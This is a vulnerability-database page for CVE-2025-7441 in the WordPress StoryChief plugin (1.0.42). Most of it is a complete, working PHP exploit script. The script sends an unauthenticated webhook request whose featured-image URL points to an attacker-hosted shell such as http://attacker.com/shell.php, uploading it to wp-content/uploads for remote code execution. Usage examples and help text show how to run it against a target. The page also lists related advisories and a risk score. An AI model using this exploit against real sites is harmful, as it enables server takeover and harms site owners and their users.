Lucene search
K

📄 WordPress StoryChief 1.0.42 Remote Code Execution

🗓️ 09 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 138 Views

Unauthenticated WordPress StoryChief 1.0.42 RCE via webhook image URLs leads to system compromise.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Mephisto
21 May 202605:06
githubexploit
GithubExploit
Exploit for CVE-2025-7441
7 Oct 202512:12
githubexploit
GithubExploit
Exploit for CVE-2025-7441
14 Oct 202508:16
githubexploit
Circl
CVE-2025-7441
29 Aug 202521:02
circl
CNNVD
WordPress plugin StoryChief 代码问题漏洞
16 Aug 202500:00
cnnvd
CNVD
WordPress Plugin StoryChief File Upload Vulnerability
20 Aug 202500:00
cnvd
CVE
CVE-2025-7441
16 Aug 202503:38
cve
Cvelist
CVE-2025-7441 StoryChief <= 1.0.42 - Unauthenticated Arbitrary File Upload
16 Aug 202503:38
cvelist
Exploit DB
StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload
26 Aug 202500:00
exploitdb
EUVD
EUVD-2025-25062
3 Oct 202520:07
euvd
Rows per page
=============================================================================================================================================
    | # Title     : WordPress StoryChief 1.0.42 Unauthenticated Remote Code Execution via Featured Image                                        |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/story-chief/                                                                                  |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-7441 
    
                     https://packetstorm.news/files/id/210218/
    
                     https://wpscan.com/vulnerability/12349
    
    [+] Summary
       
        A critical security vulnerability exists in the WordPress Story Chief plugin that allows unauthenticated attackers to achieve remote code execution by exploiting the webhook featured image functionality. 
    	The vulnerability enables attackers to inject and execute arbitrary PHP code through crafted POST requests.
    	
    	The vulnerability exists in the Story Chief plugin's webhook endpoint that handles post creation from external sources. 
    	The plugin fails to properly validate and sanitize featured image URLs, allowing attackers to:
    
    1. Bypass authentication via the webhook interface
    2. Inject malicious PHP files through featured image URLs
    3. Execute arbitrary code on the target server
    4. Achieve complete system compromise
    
    [+] Usage: 
    
    Usage: php poc.php -u https://example.com -shell http://attacker.com/shell.jpg
    
    [+] POC :
    
    <?php
    /**
     * CVE-2025-7441 Exploit - Story Chief WordPress Plugin RCE
     * By: indoushka
     */
    
    class StoryChiefExploit {
        private $debug = false;
        
        public function __construct($debug = false) {
            $this->debug = $debug;
        }
        
        private function log($message, $level = "INFO") {
            echo "[$level] $message\n";
        }
        
        private function debugLog($message) {
            if ($this->debug) {
                echo "[DEBUG] $message\n";
            }
        }
        
        public function parseArgs($argv) {
            $options = [
                'url' => '',
                'shell' => '',
                'key' => '',
                'header' => [],
                'timeout' => 15,
                'retries' => 2,
                'backoff' => 0.5,
                'proxy' => '',
                'no_verify' => false,
                'print_only' => false,
                'use_curl' => false,
                'debug' => false,
                'title' => 'Test post',
                'excerpt' => ''
            ];
            
            for ($i = 1; $i < count($argv); $i++) {
                switch ($argv[$i]) {
                    case '-u':
                    case '--url':
                        $options['url'] = $argv[++$i];
                        break;
                    case '-shell':
                        $options['shell'] = $argv[++$i];
                        break;
                    case '-k':
                    case '--key':
                        $options['key'] = $argv[++$i];
                        break;
                    case '--header':
                        $options['header'][] = $argv[++$i];
                        break;
                    case '--timeout':
                        $options['timeout'] = (int)$argv[++$i];
                        break;
                    case '--retries':
                        $options['retries'] = (int)$argv[++$i];
                        break;
                    case '--backoff':
                        $options['backoff'] = (float)$argv[++$i];
                        break;
                    case '--proxy':
                        $options['proxy'] = $argv[++$i];
                        break;
                    case '--no-verify':
                        $options['no_verify'] = true;
                        break;
                    case '--print-only':
                        $options['print_only'] = true;
                        break;
                    case '--use-curl':
                        $options['use_curl'] = true;
                        break;
                    case '--debug':
                        $options['debug'] = true;
                        $this->debug = true;
                        break;
                    case '--title':
                        $options['title'] = $argv[++$i];
                        break;
                    case '--excerpt':
                        $options['excerpt'] = $argv[++$i];
                        break;
                    case '--help':
                        $this->showHelp();
                        exit(0);
                }
            }
            
            if (empty($options['url']) || empty($options['shell'])) {
                $this->log("Error: URL and shell parameters are required", "ERROR");
                $this->showHelp();
                exit(1);
            }
            
            return $options;
        }
        
        private function showHelp() {
            echo "CVE-2025-7441 Exploit - Story Chief WordPress Plugin RCE\n";
            echo "Usage: php exploit.php -u <url> -shell <shell_url> [options]\n\n";
            echo "Options:\n";
            echo "  -u, --url        Webhook URL or site root (required)\n";
            echo "  -shell           Shell/image URL to include as featured image (required)\n";
            echo "  -k, --key        Encryption key (hex). Leave empty for default\n";
            echo "  --header         Custom header, format: Key:Value\n";
            echo "  --timeout        Request timeout seconds (default: 15)\n";
            echo "  --retries        Retry attempts on failure (default: 2)\n";
            echo "  --backoff        Backoff factor between retries (default: 0.5)\n";
            echo "  --proxy          HTTP/HTTPS proxy URL\n";
            echo "  --no-verify      Disable SSL verification\n";
            echo "  --print-only     Print payload only; do not send\n";
            echo "  --use-curl       Force use of curl instead of file_get_contents\n";
            echo "  --debug          Print debug info\n";
            echo "  --title          Post title (default: Test post)\n";
            echo "  --excerpt        Post excerpt\n";
            echo "  --help           Show this help\n\n";
            echo "Examples:\n";
            echo "  php exploit.php -u https://example.com -shell http://attacker.com/shell.jpg\n";
            echo "  php exploit.php -u https://example.com -shell http://attacker.com/shell.php --debug\n";
        }
        
        private function normalizeWebhookUrl($url) {
            $parsed = parse_url($url);
            
            if (empty($parsed['scheme']) || empty($parsed['host'])) {
                throw new Exception("invalid_url");
            }
            
            if (empty($parsed['path']) || $parsed['path'] === '/') {
                $parsed['path'] = '/wp-json/storychief/webhook';
            }
            
            $scheme = $parsed['scheme'];
            $host = $parsed['host'];
            $port = isset($parsed['port']) ? ':' . $parsed['port'] : '';
            $path = $parsed['path'];
            
            return "$scheme://$host$port$path";
        }
        
        private function validateShellUrl($shellUrl) {
            $parsed = parse_url($shellUrl);
            
            if (empty($parsed['scheme']) || empty($parsed['host'])) {
                throw new Exception("invalid_shell_url");
            }
            
            return $parsed;
        }
        
        private function extractFilename($shellParsed) {
            $name = basename($shellParsed['path']);
            if (empty($name)) {
                $name = "shell.php";
            }
            return $name;
        }
        
        private function checkShellUrl($shellUrl, $timeout) {
            $context = stream_context_create([
                'http' => ['timeout' => $timeout],
                'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]
            ]);
            
            // Try HEAD first
            $headers = @get_headers($shellUrl, 0, $context);
            if ($headers && strpos($headers[0], '200') !== false) {
                $this->debugLog("shell HEAD status: 200");
                return true;
            }
            
            // Try GET if HEAD failed
            $content = @file_get_contents($shellUrl, false, $context);
            if ($content !== false) {
                $this->debugLog("shell GET successful");
                return true;
            }
            
            // Fallback to curl if available
            if (function_exists('curl_init')) {
                $ch = curl_init();
                curl_setopt_array($ch, [
                    CURLOPT_URL => $shellUrl,
                    CURLOPT_NOBODY => true,
                    CURLOPT_TIMEOUT => $timeout,
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_SSL_VERIFYPEER => false,
                    CURLOPT_FOLLOWLOCATION => true
                ]);
                
                curl_exec($ch);
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                if ($httpCode === 200) {
                    $this->debugLog("shell CURL status: 200");
                    return true;
                }
            }
            
            return false;
        }
        
        private function buildPayload($title, $shellUrl, $excerpt) {
            return [
                "meta" => ["event" => "publish"],
                "data" => [
                    "title" => $title,
                    "excerpt" => $excerpt,
                    "featured_image" => [
                        "data" => [
                            "sizes" => ["full" => $shellUrl],
                            "alt" => "demo shell"
                        ]
                    ]
                ]
            ];
        }
        
        private function signPayload($payload, $keyBytes) {
            $signed = json_encode($payload, JSON_UNESCAPED_SLASHES);
            $signed = str_replace('/', '\\/', $signed);
            
            if (empty($keyBytes)) {
                $mac = hash('sha256', $signed);
            } else {
                $mac = hash_hmac('sha256', $signed, $keyBytes);
            }
            
            $payload["meta"]["mac"] = $mac;
            return array($signed, $mac);
        }
        
        private function prepareHeaders($customHeaders) {
            $headers = ["Content-Type: application/json"];
            
            foreach ($customHeaders as $header) {
                if (strpos($header, ':') !== false) {
                    list($key, $value) = explode(':', $header, 2);
                    $headers[] = trim($key) . ': ' . trim($value);
                }
            }
            
            return $headers;
        }
        
        private function sendWithFileGetContents($url, $payload, $headers, $timeout, $verify) {
            $opts = [
                'http' => [
                    'method' => 'POST',
                    'header' => implode("\r\n", $headers),
                    'content' => json_encode($payload),
                    'timeout' => $timeout,
                    'ignore_errors' => true
                ]
            ];
            
            if (!$verify) {
                $opts['ssl'] = [
                    'verify_peer' => false,
                    'verify_peer_name' => false
                ];
            }
            
            $context = stream_context_create($opts);
            $response = @file_get_contents($url, false, $context);
            
            if ($response === false) {
                return array('', 0, array());
            }
            
            $statusCode = 200;
            if (isset($http_response_header[0])) {
                preg_match('/HTTP\/\d\.\d\s+(\d+)/', $http_response_header[0], $matches);
                $statusCode = isset($matches[1]) ? (int)$matches[1] : 200;
            }
            
            return array($response, $statusCode, $http_response_header);
        }
        
        private function sendWithCurl($url, $payload, $headers, $timeout, $verify) {
            $ch = curl_init();
            
            $curlHeaders = [];
            foreach ($headers as $header) {
                $curlHeaders[] = $header;
            }
            
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => json_encode($payload),
                CURLOPT_HTTPHEADER => $curlHeaders,
                CURLOPT_TIMEOUT => $timeout,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_SSL_VERIFYPEER => $verify,
                CURLOPT_SSL_VERIFYHOST => $verify ? 2 : 0,
                CURLOPT_FOLLOWLOCATION => true
            ]);
            
            $response = curl_exec($ch);
            $statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            return array($response, $statusCode, array());
        }
        
        private function handleResponseText($outText, $targetUrl) {
            $out = trim($outText);
            
            if (empty($out) || strpos($out, '<') === 0) {
                return array(false, null);
            }
            
            $json = json_decode($out, true);
            if (json_last_error() !== JSON_ERROR_NONE) {
                return array(false, null);
            }
            
            // Search for permalink in response
            $permalink = $this->findFirstKey($json, array("permalink", "permalink_url", "link", "url"));
            if ($permalink) {
                return array(true, $permalink);
            }
            
            // Search for post ID
            $idVal = $this->findFirstKey($json, array("id", "post_id"));
            if ($idVal && (is_int($idVal) || is_numeric($idVal))) {
                $pid = (int)$idVal;
                $preview = $targetUrl . "/?p=$pid&preview=true";
                return array(true, $preview);
            }
            
            return array(true, null);
        }
        
        private function findFirstKey($obj, $names) {
            if (is_array($obj)) {
                foreach ($obj as $k => $v) {
                    if (in_array($k, $names) && is_string($v)) {
                        return $v;
                    }
                    
                    if (is_array($v)) {
                        $res = $this->findFirstKey($v, $names);
                        if ($res !== null) {
                            return $res;
                        }
                    }
                }
            }
            
            return null;
        }
        
        public function execute($args) {
            try {
                $key = empty($args['key']) ? '' : hex2bin($args['key']);
                if ($key === false) {
                    $this->log("Error: invalid key", "ERROR");
                    return 1;
                }
            } catch (Exception $e) {
                $this->log("Error: invalid key format", "ERROR");
                return 1;
            }
            
            try {
                $targetUrl = $this->normalizeWebhookUrl($args['url']);
            } catch (Exception $e) {
                $this->log("Error: invalid URL", "ERROR");
                return 1;
            }
            
            try {
                $shellParsed = $this->validateShellUrl($args['shell']);
            } catch (Exception $e) {
                $this->log("Error: invalid shell URL", "ERROR");
                return 1;
            }
            
            $filename = $this->extractFilename($shellParsed);
            $shellOk = $this->checkShellUrl($args['shell'], $args['timeout']);
            
            if (!$shellOk) {
                $this->log("Error: shell URL is not reachable (not HTTP 200)", "ERROR");
                return 1;
            }
            
            $payload = $this->buildPayload($args['title'], $args['shell'], $args['excerpt']);
            list($signed, $mac) = $this->signPayload($payload, $key);
            $headers = $this->prepareHeaders($args['header']);
            
            if ($args['print_only']) {
                if ($this->debug) {
                    $this->debugLog("payload: " . json_encode($payload, JSON_PRETTY_PRINT));
                }
                echo json_encode($payload, JSON_PRETTY_UNICODE | JSON_PRETTY_PRINT) . "\n";
                return 0;
            }
            
            $verify = !$args['no_verify'];
            
            try {
                if (function_exists('curl_init') && $args['use_curl']) {
                    list($outText, $statusCode, $respHeaders) = $this->sendWithCurl($targetUrl, $payload, $headers, $args['timeout'], $verify);
                } else {
                    list($outText, $statusCode, $respHeaders) = $this->sendWithFileGetContents($targetUrl, $payload, $headers, $args['timeout'], $verify);
                }
            } catch (Exception $e) {
                $this->debugLog("send error: " . $e->getMessage());
                $this->log("Error: request failed", "ERROR");
                return 1;
            }
            
            list($ok, $link) = $this->handleResponseText($outText, $args['url']);
            
            if ($ok) {
                $ym = date('Y/m');
                $path = "wp-content/uploads/$ym/$filename";
                $this->log("Uploaded: $path", "SUCCESS");
                
                if ($link) {
                    $this->log("Post URL: $link", "INFO");
                }
                
                return 0;
            } else {
                if ($this->debug) {
                    $this->debugLog("server response: " . substr($outText, 0, 1000));
                }
                $this->log("Error: upload failed or endpoint returned non-JSON/HTML", "ERROR");
                return 1;
            }
        }
    }
    
    // Main execution
    if (php_sapi_name() === 'cli') {
        $exploit = new StoryChiefExploit();
        $args = $exploit->parseArgs($argv);
        exit($exploit->execute($args));
    } else {
        echo "This script is intended for command line use only.\n";
    }
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Dec 2025 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 3.19.8
EPSS0.78942
SSVC
138